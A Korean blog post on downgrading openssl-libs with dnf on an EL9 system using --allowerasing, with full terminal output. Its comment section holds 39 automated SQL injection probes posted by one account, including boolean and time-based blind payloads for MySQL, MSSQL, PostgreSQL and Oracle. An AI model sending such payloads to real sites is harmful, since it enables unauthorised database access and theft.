[dnf/yum] downgrade가 막힐 때 (--allowerasing)

  dnf 또는 yum으로 한 단계씩 downgrade로 판을 낮추려다 보니 다음과 같은 오류를 만났다.

# sudo dnf downgrade openssl-libs
Last metadata expiration check: 0:04:36 ago on Sun 19 Oct 2025 11:46:26 AM KST.
Error:
 Problem: problem with installed package openssl-fips-provider-1:3.5.1-2.el9.x86_64
  - package openssl-fips-provider-1:3.5.1-2.el9.x86_64 from @System requires openssl-libs(x86-64) = 1:3.5.1-2.el9, but none of the providers can be installed
  - package openssl-fips-provider-1:3.5.1-2.el9.x86_64 from baseos requires openssl-libs(x86-64) = 1:3.5.1-2.el9, but none of the providers can be installed
  - package openssl-fips-provider-1:3.5.1-3.el9.x86_64 from baseos requires openssl-libs(x86-64) = 1:3.5.1-3.el9, but none of the providers can be installed
  - package openssl-fips-provider-1:3.5.1-5.el9.x86_64 from baseos requires openssl-libs(x86-64) = 1:3.5.1-5.el9, but none of the providers can be installed
  - cannot install both openssl-libs-1:3.5.1-1.el9.x86_64 from baseos and openssl-libs-1:3.5.1-2.el9.x86_64 from @System
  - cannot install both openssl-libs-1:3.5.1-2.el9.x86_64 from baseos and openssl-libs-1:3.5.1-1.el9.x86_64 from baseos
  - cannot install both openssl-libs-1:3.5.1-3.el9.x86_64 from baseos and openssl-libs-1:3.5.1-1.el9.x86_64 from baseos
  - cannot install both openssl-libs-1:3.5.1-5.el9.x86_64 from baseos and openssl-libs-1:3.5.1-1.el9.x86_64 from baseos
  - cannot install the best candidate for the job
(try to add '--allowerasing' to command line to replace conflicting packages or '--skip-broken' to skip uninstallable packages or '--nobest' to use not only best candidate packages)

  --allowerasing을 붙이면 아래처럼 downgrade를 더 이어갈 수 있다.

# sudo dnf downgrade openssl-libs --allowerasing
Last metadata expiration check: 0:07:15 ago on Sun 19 Oct 2025 11:46:26 AM KST.
Dependencies resolved.
========================================================================================
 Package                Architecture     Version                 Repository        Size
========================================================================================
Downgrading:
 openssl                x86_64           1:3.5.0-4.el9           baseos           1.5 M
 openssl-libs           x86_64           1:3.5.0-4.el9           baseos           2.7 M

Transaction Summary
========================================================================================
Downgrade  2 Packages

Total download size: 4.1 M
Is this ok [y/N]: y
Downloading Packages:
(1/2): openssl-3.5.0-4.el9.x86_64.rpm                   1.4 MB/s | 1.5 MB     00:01
(2/2): openssl-libs-3.5.0-4.el9.x86_64.rpm              2.0 MB/s | 2.7 MB     00:01
----------------------------------------------------------------------------------------
Total                                                   2.1 MB/s | 4.1 MB     00:01
Running transaction check
Transaction check succeeded.
Running transaction test
Transaction test succeeded.
Running transaction
  Preparing        :                                                                1/1
  Downgrading      : openssl-libs-1:3.5.0-4.el9.x86_64                              1/4
  Downgrading      : openssl-1:3.5.0-4.el9.x86_64                                   2/4
  Cleanup          : openssl-1:3.5.1-1.el9.x86_64                                   3/4
  Cleanup          : openssl-libs-1:3.5.1-1.el9.x86_64                              4/4
  Running scriptlet: openssl-libs-1:3.5.1-1.el9.x86_64                              4/4
  Verifying        : openssl-1:3.5.0-4.el9.x86_64                                   1/4
  Verifying        : openssl-1:3.5.1-1.el9.x86_64                                   2/4
  Verifying        : openssl-libs-1:3.5.0-4.el9.x86_64                              3/4
  Verifying        : openssl-libs-1:3.5.1-1.el9.x86_64                              4/4

Downgraded:
  openssl-1:3.5.0-4.el9.x86_64             openssl-libs-1:3.5.0-4.el9.x86_64

Complete!

2025/10/19 17:04 2025/10/19 17:04
글 걸기 주소 : 이 글에는 글을 걸 수 없습니다.

덧글을 달아 주세요

  1. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1 OR 2+418-418-1=0+0+0+1 --

  2. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1 OR 3+418-418-1=0+0+0+1 --

  3. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+418-418) --

  4. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+418-418) --

  5. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1 OR 2+459-459-1=0+0+0+1

  6. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1 OR 3+459-459-1=0+0+0+1

  7. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+459-459)

  8. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+459-459)

  9. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1' OR 2+869-869-1=0+0+0+1 --

  10. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1' OR 3+869-869-1=0+0+0+1 --

  11. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+869-869) --

  12. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+869-869) --

  13. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1' OR 2+505-505-1=0+0+0+1 or 'iUm4QoxH'='

  14. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1' OR 3+505-505-1=0+0+0+1 or 'iUm4QoxH'='

  15. fnfOzvSR 2026/04/28 04:18 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+505-505) or 'iUm4QoxH'='

  16. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+505-505) or 'iUm4QoxH'='

  17. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    -1" OR 2+647-647-1=0+0+0+1 --

  18. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    -1" OR 3+647-647-1=0+0+0+1 --

  19. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    -1" OR 3*2<(0+5+647-647) --

  20. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    -1" OR 3*2>(0+5+647-647) --

  21. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1*if(now()=sysdate(),sleep(15),0)

  22. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

  23. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

  24. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  25. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1-1; waitfor delay '0:0:15' --

  26. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1-1); waitfor delay '0:0:15' --

  27. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1-1 waitfor delay '0:0:15' --

  28. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1eFLIZOgR'; waitfor delay '0:0:15' --

  29. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1-1 OR 819=(SELECT 819 FROM PG_SLEEP(15))--

  30. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1-1) OR 461=(SELECT 461 FROM PG_SLEEP(15))--

  31. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1-1)) OR 642=(SELECT 642 FROM PG_SLEEP(15))--

  32. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1uJJRmLwU' OR 447=(SELECT 447 FROM PG_SLEEP(15))--

  33. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1WNAcfR8Z') OR 962=(SELECT 962 FROM PG_SLEEP(15))--

  34. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1FiLOdzff')) OR 697=(SELECT 697 FROM PG_SLEEP(15))--

  35. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  36. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  37. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1'"

  38. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    @@Zx1uz

  39. fnfOzvSR 2026/04/28 04:19 고유주소 고치기 답하기

    1